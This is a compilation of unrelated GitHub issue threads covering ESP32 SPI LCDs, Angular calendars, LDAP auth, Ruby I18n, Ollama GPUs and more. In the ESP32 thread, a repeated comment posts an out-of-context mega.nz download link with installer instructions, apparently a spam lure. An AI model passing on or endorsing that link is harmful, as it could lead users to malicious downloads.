Does esp_lcd support SPI3WIRE 9BIT to drive TFT? (IDFGH-13549)

Answers checklist.

[X] I have read the documentation ESP-IDF Programming Guide and the issue is not addressed there.
[X] I have updated my IDF branch (master or release) to the latest version and checked that the issue is present there.
[X] I have searched the issue tracker for a similar issue and not found a similar issue.

General issue report
MCU: ESP32-C3
ESP-IDF: master
I see esp_lcd supports SPI3WIRE, but not sure if it supports 9BIT. There is no control of command mode or data mode through the DC line.
This is my initialization code:
    buscfg.sclk_io_num = SCK_PIN;
    buscfg.mosi_io_num = MOSI_PIN;
    buscfg.miso_io_num = MOSI_PIN;
    buscfg.quadwp_io_num = -1;
    buscfg.quadhd_io_num = -1;
    buscfg.max_transfer_sz = 4096;
    buscfg.flags = SPICOMMON_BUSFLAG_DUAL;

    ESP_ERROR_CHECK(spi_bus_initialize(LCD_HOST, &buscfg, SPI_DMA_CH_AUTO));

    esp_lcd_panel_io_handle_t io_handle = NULL;
    esp_lcd_panel_io_spi_config_t io_config;
    memset(&io_config, 0, sizeof(io_config));

    io_config.dc_gpio_num = -1;
    io_config.cs_gpio_num = CS_PIN;
    io_config.pclk_hz = 10 * 1000 * 1000;
    io_config.lcd_cmd_bits = 8;
    io_config.lcd_param_bits = 8;
    io_config.spi_mode = 0;
    io_config.trans_queue_depth = 8;
    io_config.flags.sio_mode = 1;

    // Attach the LCD to the SPI bus
    ESP_ERROR_CHECK(esp_lcd_new_panel_io_spi((esp_lcd_spi_bus_handle_t)LCD_HOST, &io_config, &io_handle));

Use esp_lcd_panel_io_tx_param to send the initialization sequence code given to me by the manufacturer. tft is not working properly.

I use spi driver to drive tft, it can initialize normally.
Below is the code I use to drive the tft using the spi driver.
void SPI_3Wire_Interface_Init()
{
    spi_bus_config_t buscfg;
    memset(&buscfg, 0, sizeof(buscfg));
    buscfg.miso_io_num = -1;
    buscfg.mosi_io_num = MOSI_PIN;
    buscfg.sclk_io_num = SCK_PIN;
    buscfg.quadwp_io_num = -1;
    buscfg.quadhd_io_num = -1;
    buscfg.max_transfer_sz = 4096; //= 4096 Byte
    buscfg.flags = SPICOMMON_BUSFLAG_DUAL;

    spi_device_interface_config_t devcfg;
    memset(&devcfg, 0, sizeof(devcfg));
    devcfg.command_bits = 1;     //D/Cx位，0 cmd， 1 data
    devcfg.mode = 0;   //CPOL, CPHA xSPI_CPOL_CPHA_mode = 0
    devcfg.clock_speed_hz = 4 * 1000 * 1000; //=1MHz
    devcfg.spics_io_num = CS_PIN;
    devcfg.flags = SPI_DEVICE_3WIRE | SPI_DEVICE_HALFDUPLEX; //3线半双工
    devcfg.queue_size = 8;

    //Initialize the SPI bus
    esp_err_t ret = spi_bus_initialize(LCD_HOST, &buscfg, SPI_DMA_CH_AUTO);
    log_i("ret: %d", ret);
    //Attach the LCD to the SPI bus
    ret = spi_bus_add_device(LCD_HOST, &devcfg, &spi);
    log_i("ret: %d", ret);
}

void lcd_write_cmd(const uint8_t cmd)
{
    log_i("lcd_write_cmd");
    spi_transaction_t sendcfg;
    memset(&sendcfg, 0, sizeof(sendcfg));
    sendcfg.cmd = 0;                        //cmd = 0
    sendcfg.length=8;
    sendcfg.tx_buffer = &cmd;
    esp_err_t ret = spi_device_polling_transmit(spi, &sendcfg);
    log_i("s cmd ret: %d", ret);
}

void lcd_write_data(const uint8_t data)
{
    log_i("lcd_write_data");
    spi_transaction_t sendcfg;
    memset(&sendcfg, 0, sizeof(sendcfg));
    sendcfg.cmd = 1;                        //data = 1
    sendcfg.length=8;
    sendcfg.tx_buffer = &data;
    esp_err_t ret = spi_device_polling_transmit(spi, &sendcfg);
    log_i("s data ret: %d", ret);
}

Download
https://mega.nz/file/UYhhgZTR#EfgMGXyZlKeqZatw9ALTKS9JBu-qXLHYQli_2jXDCWU
In the installer menu, select "gcc."

Download
https://mega.nz/file/UYhhgZTR#EfgMGXyZlKeqZatw9ALTKS9JBu-qXLHYQli_2jXDCWU
In the installer menu, select "gcc."

@lbuque Which TFT are you using? I've not seen any that require 9-bit commands.

@atanisoft datasheet: https://www.buydisplay.com/download/ic/ST7789P3.pdf

This is my code:
https://github.com/lbuque/HardWareTest/blob/master/HardWareTest.ino#L139-L258

your sample code doesn't use esp_lcd APIs from what I can tell. But I believe if you send:
io_config.lcd_cmd_bits = 9;
io_config.lcd_param_bits = 9;

and pack the 9th bit (D/C in datasheet) it might work. More common though is four wire SPI (CS, CLK, MOSI/DATA, DC) and I've used ST7789V displays with the ESP-IDF APIs quite successfully.

For your current code try:
void lcd_write_cmd(const uint8_t cmd)
{
    log_i("lcd_write_cmd");
    spi_transaction_t sendcfg;
    uint16_t data_to_send = cmd;
    memset(&sendcfg, 0, sizeof(sendcfg));
    sendcfg.cmd = 0;
    sendcfg.length=9;
    sendcfg.tx_buffer = &data_to_send;
    esp_err_t ret = spi_device_polling_transmit(spi, &sendcfg);
    log_i("s cmd ret: %d", ret);
}

void lcd_write_data(const uint8_t data)
{
    log_i("lcd_write_data");
    spi_transaction_t sendcfg;
    memset(&sendcfg, 0, sizeof(sendcfg));
    uint16_t data_to_send = data;
    data_to_send |= 0x0100; // set D/C bit high
    sendcfg.cmd = 1;
    sendcfg.length=9;
    sendcfg.tx_buffer = &data_to_send;
    esp_err_t ret = spi_device_polling_transmit(spi, &sendcfg);
    log_i("s data ret: %d", ret);
}

I don't know if this will work or not but it might since it is setup to send 9-bit blocks with the D/C bit being set (the bit set may need to be in lcd_write_cmd instead of lcd_write_data so be sure to test it)

Each color bytes needs an extra bit to indicates the "D/C" state. I see you set devcfg.command_bits = 1; this only works for a single SPI transaction, instead of "inserting an extra bit ahead of each data bytes".
So, esp_lcd doesn't support 9-bit SPI LCD. Unless you insert the "DC" value into the data bytes manually (not perfect AFAICT).

@atanisoft @suda-morris Thanks! This issue will be closed.


Getting $(...).fullCalendar is not a function

Hi there
I am trying to user jQuery to refech events.
I need jQuery becuse I have multiple calendars and I cant find other way to handel them.
So I give each one a diferent ID and when I wnat to reload one I send its ID.
But I get error:
$(...).fullCalendar is not a function

What can be the problem?
I have this code HTML:
<ng-fullcalendar [id]="'ucCalendar'+i"
    #ucCalendar0
    [options]="slide.calendarOptions"
    (viewRender)="renderViewColumns($event.detail)"
    (eventClick)="fullCalendarEventClick($event.detail)"
    (eventAfterRender)="fullCalendarInitialized($event.detail)"
></ng-fullcalendar>

And .ts code:
refreshMe(id){
    $('#ucCalendar'+id).fullCalendar('refetchEvents');
}

Hi! use
@ViewChild(CalendarComponent) ucCalendar0: CalendarComponent;

refreshMe(){
    this.ucCalendar0.fullCalendar('refetchEvents');
}


Firebase Storage PDF file is not showing in Webview only showing white screen

String url =
      "https://firebasestorage.googleapis.com/v0/b/campusfriend-1adac.appspot.com/o/courses%2Fbcom%2FClass%20Notes%2Fhb.pdf?alt=media&token=c8be5d46-8335-43ad-a557-99670bdb256d";

return WebView(
           javascriptMode: JavascriptMode.unrestricted,
           initialUrl: url,
);

Hi @narimetisaigopi
From what I can see, the issue is related to a FlutterFire plugin rather than to Flutter itself. Please open the issue in the dedicated repository.
Closing, as this isn't an issue with Flutter itself. If you disagree, please write in the comments, possibly providing a minimal reproducible code sample that does not use flutter fire or other 3rd party plugins, and I will reopen it.
Thank you


Active Directory groups, custom username field, null groups

Hello,
This is my first pull request so please let me know if I am not following GitHub etiquette.
I have a few bug fixes for the project.  One of these has already been proposed by @jtpenny concerning Windows groups so I just want to make sure he gets credit for that fix. I have tested it and it works in our environment with AD (thank you!)
The other part of that commit is for fixing a bug where the user specified username field is set to the key 'username' instead of the function for getting the username.
Lastly, there is a bug where an offset error occurs in the retrieveByCredentials() function if a non-existent username is passed to that function, so it can't find the groups (returns null) which causes problems further down the line in the InfoCollection.
Let me know if you have any questions. Thanks for this project, it is extremely useful!

Hi @mduncan02
Thank you for your work!
Can you apply the StyleCI patch?
There are many changes just because your code style is different.
That would be great!

No problem! I have applied the StyleCI patch, let me know if you need anything else.

It seems there is something wrong with your bugfix.
I have a simple test setup:
Route::get('/', function () {
    Auth::logout();
    if(Auth::attempt(['username' => 'existinguser', 'password' => 'secret']))
    {
        dd(Auth::user()->toArray());
    }
    else {
        return "failed";
    }
});

If I use your changes I get following error:
ErrorException in LdapAuthUserProvider.php line 136:
Undefined variable: infoCollection

That happens even if I'm testing with an non-existing user.
I have recursive_group set to false.
If I set recursive_group to true, it works.
But I don't get any errors without your fix. I tried following combinations without an error:

recursive_group
existing user

true
true

false
true

true
false

false
false

Can you show me your test setup?

Interesting, I think  Scrutinizer actually picked that up as well, let me do some testing and see if I can't figure out what happened there. I will post my setup here as well

Ok I think it was just a syntax issue, I believe I have fixed it now. Could you please try your tests again? Thanks!

Okay, now I get no errors.
But login an user only works if recursive_groups is set to true.
Again, I tested all 4 combinations which my old code without any errors. Can you show me an example which throws an error with the old code and works with the new code?

Sorry yes, I have recursive_groups set to true in my config. Let me do more testing with the different combinations of config options. I am working on a fairly large project at the moment so I will re-request the pull once I've done better testing. Talk with you again soon!


TranslationStrings, Language, I18n — Refactor for Ruby 3

Goals:

TranslationString: Use current I18n native methods ~callbacks after_create and before_update~  to update the I18n.translations hash store using. (These methods merge updates into a deep_dup of the translations hash and reassign the hash. Needs to be done that way because hashes without dynamic stuff are automatically frozen in Ruby 3.0.)
Activate I18n's lazy-loading ~and caching, if we can make them work.~ Lazy-loading ~may be~ is on by default.
Eliminate the method Language.update_recent_translations and its test, since we're updating the hash using the callbacks. (This method checks the database for recent changes in TS, and adds them to the I18n.translations hash. No need if we're doing that on create and save.)
Eliminate ApplicationController#refresh_translations which calls the above method
Fix methods in tests that change the translations hash directly. Add a class method tests can use, TranslationString.update_localizations(locale, hash_of_tags_and_texts) to isolate the tricky parts of the necessary syntax

Coverage increased (+0.001%) to 93.091% when pulling 3d367edd7e8b8df2f3ea37a4537b02371f27ceb8 on nimmo-translation-strings-i18n into 77817eb0a57a1f55f9ddefa2ef8d9891cd52b277 on master.

OK — I want to limit the scope of this PR and tackle caching, the remaining issue, in another PR.
According to the I18n gem itself, it's easy to set up.
We'd need to have ActiveSupport::Cache set up. But fragment caching, in Rails, may be on in production by default.
Anyway, sounds like the scope of a different PR. But it sounds like it could be worth it, according to gem authors.
Here's what the gem has to say:
# This module allows you to easily cache all responses from the backend - thus
# speeding up the I18n aspects of your application quite a bit.
#
# To enable caching you can simply include the Cache module to the Simple
# backend - or whatever other backend you are using:
#
#   I18n::Backend::Simple.send(:include, I18n::Backend::Cache)
#
# You will also need to set a cache store implementation that you want to use:
#
#   I18n.cache_store = ActiveSupport::Cache.lookup_store(:memory_store)
# ...continued...

...where would these lines go? In config/application.rb?
(The other reference I found is equally vague about where the config goes.)

I don't know a way to turn off a cop on CI. But:

I'll think about it and see if I can come up with a hack.
I'll email you directly to see if there's something that could be a work-around for you.

by the way @JoeCohen - do you know a way to turn off the trailing whitespace and hash syntax cops on CI? Especially the trailing whitespace!

Ready for review. This PR resolves every remaining error on the ruby 3 branch.

Hid some comments (including my own off-topic questions) in the GitHub view to make the PR easier to read and understand.
No offense intended, just trying to reduce noise.

Summary of this PR for reviewers:
It no longer invokes the Rails callbacks at all, and in fact doesn't change much.
It just switches to use the I18n.backend.store_translations method for updating the translations hash, in the model, controllers and tests, in methods where these were modifying the hash directly by assignment.

I like how simplified the result is... but I confess that I don't understand the changes.  I'm going to have to trust you.  If you say this works, that's good enough for me!


Ended incidents and 911 calls don't show events

What version of Node.js are you using?
16.13.1
What version of npm are you using?
8.3.0
What operating system are you using?
Linux (ubuntu 20.04)
Describe the Bug
Ended incidents don't seem to show all the events added by control. There is also no mechanism to see events from a 911 call once the call has been ended.
Expected Behavior
Ended incidents should display read only events when an incident is over and this behaviour should also occur on 911 calls.
To Reproduce

Is this talking about 911 call events or incident events? Since incident events should show up 🤔. Will need to debug when home

Is this talking about 911 call events or incident events? Since incident events should show up 🤔. Will need to debug when home

So incident events show 'no current events' when it should show historic read only ones. 911 call events currently can't be viewed after the call.

All fixed now 🎉!


Low VRAM Utilization on RTX 3090 When Models are Split Across Multiple CUDA Devices (separate ollama serve)

What is the issue?
Environment

Ollama Version: 0.1.45

Operating System: Win10

GPU Type: NVIDIA RTX 3090, GTX 1080Ti

Issue Description
I am experiencing an issue with VRAM utilization in Ollama 0.1.45. When using the codestral example to split models across different CUDA devices on an RTX 3090 and GTX 1080Ti (one GPU per model that is!) , it appears that only 10GB of VRAM is being used for Codestal now. This is similar to what one might expect with a GTX 1080Ti, suggesting that there might be a misconfiguration or a bug in how VRAM is allocated or recognized for the RTX 3090.
I am using:
$env:CUDA_VISIBLE_DEVICES=0 for 3090
and
$env:CUDA_VISIBLE_DEVICES=1 for 1080
which correspond to the identifiers
and am using ollama serve

OS
Windows
GPU
Nvidia
CPU
No response
Ollama version
0.1.45

For 0.1.43 I did not experience this.
here my script I use to configure the nodes:
# Define the environments for each node
$envNode6 = @{
    HostAddress = "<IP_ADDRESS>:11436"
    CUDA = "0"
    OllamaPath = "J:\Ollama\Ollama_node6"
    MaxLoadedModels = "1"
    NumParallel = "1"
}

$envNode2 = @{
    HostAddress = "<IP_ADDRESS>:11439"
    CUDA = "1"
    OllamaPath = "J:\Ollama\Ollama_node2"
	    MaxLoadedModels = "1"
    NumParallel = "1"
}
#$envNode6,$envNode5,
# Set environment variables for each node and start the ollama serve command
foreach ($env in @($envNode2,$envNode6)) {
    Set-ItemProperty -Path 'HKCU:\Environment' -Name 'OLLAMA_HOST' -Value $env.HostAddress
    Set-ItemProperty -Path 'HKCU:\Environment' -Name 'CUDA_VISIBLE_DEVICES' -Value $env.CUDA
    Set-ItemProperty -Path 'HKCU:\Environment' -Name 'OLLAMA_MODELS' -Value $env.OllamaPath
    Set-ItemProperty -Path 'HKCU:\Environment' -Name 'OLLAMA_MAX_LOADED_MODELS' -Value $env.MaxLoadedModels
    Set-ItemProperty -Path 'HKCU:\Environment' -Name 'OLLAMA_NUM_PARALLEL' -Value $env.NumParallel

    Start-Process powershell -ArgumentList "-Command `"`$env:OLLAMA_HOST='$($env.HostAddress)'; echo `$env:OLLAMA_HOST; `$env:OLLAMA_MAX_LOADED_MODELS='$($env.MaxLoadedModels)'; echo `$env:OLLAMA_MAX_LOADED_MODELS; `$env:OLLAMA_NUM_PARALLEL='$($env.NumParallel)'; echo `$env:OLLAMA_NUM_PARALLEL;`$env:CUDA_VISIBLE_DEVICES='$($env.CUDA)'; echo `$env:CUDA_VISIBLE_DEVICES; `$env:OLLAMA_MODELS='$($env.OllamaPath)'; echo `$env:OLLAMA_MODELS; J:\Ollama\Ollama_node2\ollama.exe serve; Read-Host 'Press any key to close the instance.'`"" -WindowStyle Normal -Verb RunAs

}

Any ideas on why this would happen even when specifying explicitly the CUDA_VISIBLE_DEVICES to be separate even for the 2 models?

Numeric ordering can be ambiguous in some contexts, although we might have a bug.  Can you use the UUID of the GPUs?  nvidia-smi -L

If you're still having trouble with multiple cuda GPUs, please make sure to upgrade to the latest version, and if that doesn't clear it up, please share an updated server log and I'll reopen the issue.


[REQ] maximum duration (after multiplier and before lead time)

@Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

hey @gatonero, beta 28 introduces two new literals in translations/en.json file. Please add these and the German translation to the translations/de.json file.
    "maximum-duration-is-applied": "Then, the maximum duration is applied. The maximum duration is",
    "duration-after-maximum-duration-is": "hence the duration is",

This is just for the documentation.  #209 is still open.


example.md in /Templating-Engine not actually md

consider changing it to .hmd (hierarchical markdown), .fmd (formatted markdown), or .smd (sexy structured markdown).

I'm going to rename it to .smd, to avoid confusion. +1 for inventing a new file type (jk).


EXC_ARM_DA_ALIGN

冷启动初始化Cache产生内存没对齐的crash
let ioQueueName = "com.onevcat.Kingfisher.ImageCache.ioQueue.\(UUID().uuidString)"

I've never seen this crash before. It crashes inside Swift runtime so I do not have idea on what can cause it.
Is there any way to reproduce it?

I've never seen this crash before. It crashes inside Swift runtime so I do not have idea on what can cause it.
Is there any way to reproduce it?
查了一些资料发现可能是UUID().string内部实现的问题，现在暂时是替换了UUID采用其他方式生成唯一的ioQueueName

The

On Apr 01, 2021 at 10:56, @.*** wrote:
冷启动初始化Cache产生内存没对齐的crash
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly,view it on GitHub(https://github.com/onevcat/Kingfisher/issues/1674), orunsubscribe(https://github.com/notifications/unsubscribe-auth/ADMOM2TV4LOVXYILCBDZKJDTGPVFHANCNFSM42GFTBMA).

Dad

On Apr 01, 2021 at 10:56, @.*** wrote:
冷启动初始化Cache产生内存没对齐的crash
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly,view it on GitHub(https://github.com/onevcat/Kingfisher/issues/1674), orunsubscribe(https://github.com/notifications/unsubscribe-auth/ADMOM2TV4LOVXYILCBDZKJDTGPVFHANCNFSM42GFTBMA).

@outer1 Oh, that is quite surprising. Can I have a link of the resource you mentioned?


⚠ Bofrost.com has degraded performance

In 13c32b8, Bofrost.com (https://www.bofrost.com) experienced degraded performance:

HTTP code: 200
Response time: 962 ms

Resolved: Bofrost.com performance has improved in 1d57c79 after 6 minutes.


rocket 0.4.0 support, code cleanup etc

This PR adds support for Rocket 0.4.0, which makes building a great deal easier. Also, fixed almost all compiler warnings, and put the code through rustfmt just for fun.

Oh this also adds the functionality the papers people have been asking for, which shows recipient as well as sender accounts in /transactions/account/


Added SelectedUnfocused

Added a new visual state for unfocused selected objects so that there can be multiple lists on one page and you can clearly tell which one is selected

Thankyou


Code rabbit try again

Summary by CodeRabbit

New Features

Enhanced functionality for specifying build requirements in Benchmark and UnitTests classes.
Simplified connection process in the BspConnection interface.

Bug Fixes

Improved handling of token lexing and validation in the lexer tests.

Documentation

Added support for new file types and syntax highlighting for Bazelrc files.

Tests

Introduced comprehensive unit tests for ProjectSyncTask and Java module transformations.

Chores

Updated dependencies for OpenTelemetry libraries to improve performance and stability.

This is an experiment review for experiment multiple_mermaid_diagram_types
Run ID: multiple_mermaid_diagram_types/run_2024-09-30T19-14-26_v1-23-0-43-g5f7f3998a
The benchmark review for this pull request can be found at https://github.com/sourcery-ai-experiments/hirschgarten/pull/14.
This pull request was cloned from https://github.com/agluszak/hirschgarten/pull/2. (Note: the URL is not a link to avoid triggering a notification on the original pull request.)

Experiment configuration
review_config:
  # User configuration for the review
  # - benchmark - use the user config from the benchmark reviews
  # - <value> - use the value directly
  user_review_config:
    enable_ai_review: true
    enable_rule_comments: false

    enable_complexity_comments: false
    enable_security_comments: false
    enable_tests_comments: false
    enable_comment_suggestions: false
    enable_functionality_review: false

    enable_pull_request_summary: false
    enable_review_guide: true

    enable_approvals: false

  ai_review_config:
    # The model responses to use for the experiment
    # - benchmark - use the model responses from the benchmark reviews
    # - llm - call the language model to generate responses
    model_responses:
      comments_model: benchmark
      comment_area_model: benchmark
      comment_validation_model: benchmark
      comment_suggestion_model: benchmark
      complexity_model: benchmark
      functionality_model: benchmark
      security_model: benchmark
      tests_model: benchmark
      pull_request_summary_model: benchmark
      review_guide_model: llm
      overall_comments_model: benchmark

# The pull request dataset to run the experiment on
pull_request_dataset:
  # Sourcery core examples:
- https://github.com/sourcery-ai/core/pull/4607
- https://github.com/sourcery-ai/core/pull/4631
- https://github.com/sourcery-ai/core/pull/4647
  # CodeRabbit examples:
- https://github.com/2lambda123/-Orange-OpenSource-oorobot/pull/15
- https://github.com/2lambda123/galaxyproject-galaxy/pull/12
- https://github.com/a0v0/avtoolz/pull/79
- https://github.com/adityask98/Hotaru/pull/10
- https://github.com/agdas/vscode/pull/2
- https://github.com/agluszak/hirschgarten/pull/2
- https://github.com/alexsnow348/insightface/pull/46
- https://github.com/alikuxac/utilities/pull/10
- https://github.com/AlphaDev87/timba-api/pull/49
- https://github.com/AngeloTadeucci/Maple2/pull/239
- https://github.com/AngeloTadeucci/Maple2.File/pull/36
- https://github.com/AngeloTadeucci/Maple2/pull/233
  # Examples where CodeRabbit does not generate diagrams
- https://github.com/baptisteArno/typebot.io/pull/1778
- https://github.com/btipling/foundations/pull/33
- https://github.com/btipling/foundations/pull/31
- https://github.com/chintu-777/jaeger/pull/1
- https://github.com/coji/remix-docs-ja/pull/55
- https://github.com/DaveMBush/SmartNgRX/pull/622
- https://github.com/DaveMBush/SmartNgRX/pull/481
- https://github.com/dkittle/party-connections/pull/6
- https://github.com/Drajad-Kusuma-Adi/onstudy-backend/pull/6
- https://github.com/imaami/libcanth/pull/2
  # Requested by Tim
- https://github.com/2lambda123/-Orange-OpenSource-oorobot/pull/15
- https://github.com/2lambda123/galaxyproject-galaxy/pull/12
- https://github.com/a0v0/avtoolz/pull/79
- https://github.com/adityask98/Hotaru/pull/10
- https://github.com/agdas/vscode/pull/2
- https://github.com/agluszak/hirschgarten/pull/2
- https://github.com/4DNucleome/PartSeg/pull/1183
- https://github.com/ably/ably-cocoa/pull/1973
- https://github.com/ably-labs/ably-chat-swift/pull/54
- https://github.com/ably-labs/ably-chat-swift/pull/35
  # A ton of new classes:
- https://github.com/sourcery-ai/core/pull/4618
  # Including database changes to evaluate entity-relationship diagrams
- https://github.com/sourcery-ai/core/pull/4579
  # TODO: find some with Alembic
  # Brilliant existing examples:
- https://github.com/sourcery-ai/core/pull/4680
- https://github.com/sourcery-ai/core/pull/4684

# Questions to ask to label the review comments
review_comment_labels: []
# - label: correct
#   question: Is this comment correct?

# Benchmark reviews generated by running
#   python -m scripts.experiment benchmark <experiment_name>
benchmark_reviews:
- dataset_pull_request: https://github.com/sourcery-ai/core/pull/4607
  review_pull_request: https://github.com/sourcery-ai-experiments/core/pull/374
- dataset_pull_request: https://github.com/sourcery-ai/core/pull/4631
  review_pull_request: https://github.com/sourcery-ai-experiments/core/pull/375
- dataset_pull_request: https://github.com/sourcery-ai/core/pull/4647
  review_pull_request: https://github.com/sourcery-ai-experiments/core/pull/376
- dataset_pull_request: https://github.com/2lambda123/-Orange-OpenSource-oorobot/pull/15
  review_pull_request: https://github.com/sourcery-ai-experiments/-Orange-OpenSource-oorobot/pull/5
- dataset_pull_request: https://github.com/2lambda123/galaxyproject-galaxy/pull/12
  review_pull_request: https://github.com/sourcery-ai-experiments/galaxyproject-galaxy/pull/13
- dataset_pull_request: https://github.com/adityask98/Hotaru/pull/10
  review_pull_request: https://github.com/sourcery-ai-experiments/Hotaru/pull/14
- dataset_pull_request: https://github.com/agdas/vscode/pull/2
  review_pull_request: https://github.com/sourcery-ai-experiments/vscode/pull/14
- dataset_pull_request: https://github.com/agluszak/hirschgarten/pull/2
  review_pull_request: https://github.com/sourcery-ai-experiments/hirschgarten/pull/13
- dataset_pull_request: https://github.com/alikuxac/utilities/pull/10
  review_pull_request: https://github.com/sourcery-ai-experiments/utilities/pull/4
- dataset_pull_request: https://github.com/AlphaDev87/timba-api/pull/49
  review_pull_request: https://github.com/sourcery-ai-experiments/timba-api/pull/12
- dataset_pull_request: https://github.com/AngeloTadeucci/Maple2/pull/239
  review_pull_request: https://github.com/sourcery-ai-experiments/Maple2/pull/23
- dataset_pull_request: https://github.com/AngeloTadeucci/Maple2.File/pull/36
  review_pull_request: https://github.com/sourcery-ai-experiments/Maple2.File/pull/12
- dataset_pull_request: https://github.com/AngeloTadeucci/Maple2/pull/233
  review_pull_request: https://github.com/sourcery-ai-experiments/Maple2/pull/24
- dataset_pull_request: https://github.com/baptisteArno/typebot.io/pull/1778
  review_pull_request: https://github.com/sourcery-ai-experiments/typebot.io/pull/7
- dataset_pull_request: https://github.com/btipling/foundations/pull/33
  review_pull_request: https://github.com/sourcery-ai-experiments/foundations/pull/13
- dataset_pull_request: https://github.com/btipling/foundations/pull/31
  review_pull_request: https://github.com/sourcery-ai-experiments/foundations/pull/14
- dataset_pull_request: https://github.com/chintu-777/jaeger/pull/1
  review_pull_request: https://github.com/sourcery-ai-experiments/jaeger/pull/7
- dataset_pull_request: https://github.com/coji/remix-docs-ja/pull/55
  review_pull_request: https://github.com/sourcery-ai-experiments/remix-docs-ja/pull/7
- dataset_pull_request: https://github.com/DaveMBush/SmartNgRX/pull/622
  review_pull_request: https://github.com/sourcery-ai-experiments/SmartNgRX/pull/13
- dataset_pull_request: https://github.com/DaveMBush/SmartNgRX/pull/481
  review_pull_request: https://github.com/sourcery-ai-experiments/SmartNgRX/pull/14
- dataset_pull_request: https://github.com/dkittle/party-connections/pull/6
  review_pull_request: https://github.com/sourcery-ai-experiments/party-connections/pull/7
- dataset_pull_request: https://github.com/Drajad-Kusuma-Adi/onstudy-backend/pull/6
  review_pull_request: https://github.com/sourcery-ai-experiments/onstudy-backend/pull/7
- dataset_pull_request: https://github.com/imaami/libcanth/pull/2
  review_pull_request: https://github.com/sourcery-ai-experiments/libcanth/pull/7
- dataset_pull_request: https://github.com/2lambda123/-Orange-OpenSource-oorobot/pull/15
  review_pull_request: https://github.com/sourcery-ai-experiments/-Orange-OpenSource-oorobot/pull/6
- dataset_pull_request: https://github.com/2lambda123/galaxyproject-galaxy/pull/12
  review_pull_request: https://github.com/sourcery-ai-experiments/galaxyproject-galaxy/pull/14
- dataset_pull_request: https://github.com/adityask98/Hotaru/pull/10
  review_pull_request: https://github.com/sourcery-ai-experiments/Hotaru/pull/15
- dataset_pull_request: https://github.com/agdas/vscode/pull/2
  review_pull_request: https://github.com/sourcery-ai-experiments/vscode/pull/15
- dataset_pull_request: https://github.com/agluszak/hirschgarten/pull/2
  review_pull_request: https://github.com/sourcery-ai-experiments/hirschgarten/pull/14
- dataset_pull_request: https://github.com/4DNucleome/PartSeg/pull/1183
  review_pull_request: https://github.com/sourcery-ai-experiments/PartSeg/pull/7
- dataset_pull_request: https://github.com/ably/ably-cocoa/pull/1973
  review_pull_request: https://github.com/sourcery-ai-experiments/ably-cocoa/pull/6
- dataset_pull_request: https://github.com/ably-labs/ably-chat-swift/pull/54
  review_pull_request: https://github.com/sourcery-ai-experiments/ably-chat-swift/pull/11
- dataset_pull_request: https://github.com/ably-labs/ably-chat-swift/pull/35
  review_pull_request: https://github.com/sourcery-ai-experiments/ably-chat-swift/pull/12
- dataset_pull_request: https://github.com/sourcery-ai/core/pull/4579
  review_pull_request: https://github.com/sourcery-ai-experiments/core/pull/377

🧙 Sourcery is reviewing your pull request!

Tips and commands
Interacting with Sourcery

Trigger a new review: Comment @sourcery-ai review on the pull request.
Continue discussions: Reply directly to Sourcery's review comments.
Generate a GitHub issue from a review comment: Ask Sourcery to create an
issue from a review comment by replying to it.

Customizing Your Experience
Access your dashboard to:

Enable or disable review features such as the Sourcery-generated pull request
summary, the reviewer's guide, and others.
Change the review language.
Add, remove or edit custom review instructions.
Adjust other review settings.

Getting Help

Contact our support team for questions or feedback.
Visit our documentation for detailed guides and information.
Keep in touch with the Sourcery team by following us on X/Twitter, LinkedIn or GitHub.


Detect suspicious ranges of percentiles

Remove the computation of the 65/85/95th percentiles as it's done at the moment
Add a new step which computes every 5th percentile (5, 10, 15 and so on) and detect anomalies within ranges (for example if percentiles 20, 25 and 30 are all abnormally low or abnormally high, it could very well indicate illegitimate stars)
Find a good way to represent this in the trust report

Done in #8 🎉


Don't increase font-size for block-refs

Currently, the increased font-size for headings is also applied to .block-refs making them look really ugly inline with other text.
This PR fixes this.
Before:

After:

Thanks for creating this push request. I fixed it upstream in my CSS generator and pushed the updated themes.


Use the workers proc rather than overriding the method

Commit fefccb69bc27b4a9f0cd3d99d1e9cf20c10316ea caused us to start metrics collector workers even if the role was not active.
This fixes that issue and adds tests to the .workers method for the PerEmsTypeWorkerMixin

Wow, good catch.


Add MapSwipe description

Update the readme from this repo to:

add a description of MapSwipe and explain what this project is about
invite contributors to fill in issues for the app for bugs and requests for improvements

Updated the readme for the webite explaining how to contribute and linking to app repo. App's repo has been updated significantly.


Error when passing the JaxTuple as side-information of the loss function

An issue related to #366, which is trying to pass the side-information out from grad.
The code to reproduce the error is pasted as follows.
from __future__ import print_function, division
import jax.numpy as np
from jax import grad, jit, vmap, vjp
from jax import random
from jax.tree_util import tree_map
from jax import core

from jax.experimental import optimizers

key = random.PRNGKey(0)

w = np.array([0., 1.])
x = random.normal(key, shape=(2,))
lr = np.array(1.)

opt_init, opt_update = optimizers.adam(1e-4)
opt_state = opt_init(w)

dw = grad(lambda w: np.square(np.dot(w, x) - 1.))

def loss(lr, opt_state):
  w = optimizers.get_params(opt_state)
  dummy_grad = dw(w) * lr
  opt_state = opt_update(0, dummy_grad, opt_state)
  w = optimizers.get_params(opt_state)
  return np.sum(np.square(w)), opt_state

# A trick from https://github.com/google/jax/issues/366
@jit
def mygrad(opt_state, lr):
  (l, extra), pullback = vjp(loss, lr, opt_state)
  all_zeros = tree_map(lambda x: core.pack(map(np.zeros_like, x)), opt_state)
  seeds = (np.asarray(1.0, np.float32), all_zeros)
  dx,_ = pullback(seeds)
  return dx, extra

grad, opt_state = mygrad(opt_state, lr)

Also the colab with the same code, if it's helpful https://colab.research.google.com/drive/1azubGbEk4ZS0EEVnm9iMyIwheDEN210m

Try out the code in #484 if you can and let me know if that works for you!


Allow head tracking for OpenXr headsets

This has been merged with https://github.com/robotology/walking-teleoperation/pull/69


= not lawful because of indexing

The implementation of >>=  uses indexing over a finite type and therefore can not be lawful due to overflows. Consider the following value and Kleisli map.
nats :: Infinite Integer
nats = 0 :< fmap (1+) nats

k :: Integer -> Infinite Bool
k i = go i where
    go 0 = repeat False
    go n = True :< go (n-1)

The expected behaviour is that nats >>= k == pure False since the n-th element of k n is False by definition and >>=  is supposed to select the n-th element from the image of element at the n-th position. However, one can observe that actually nats >>= k is eventually True after genericDropping sufficiently many elements from the result. (To observe this in finite time, change the index type in !! to a smaller Word but that does not change the line of argumentation.)
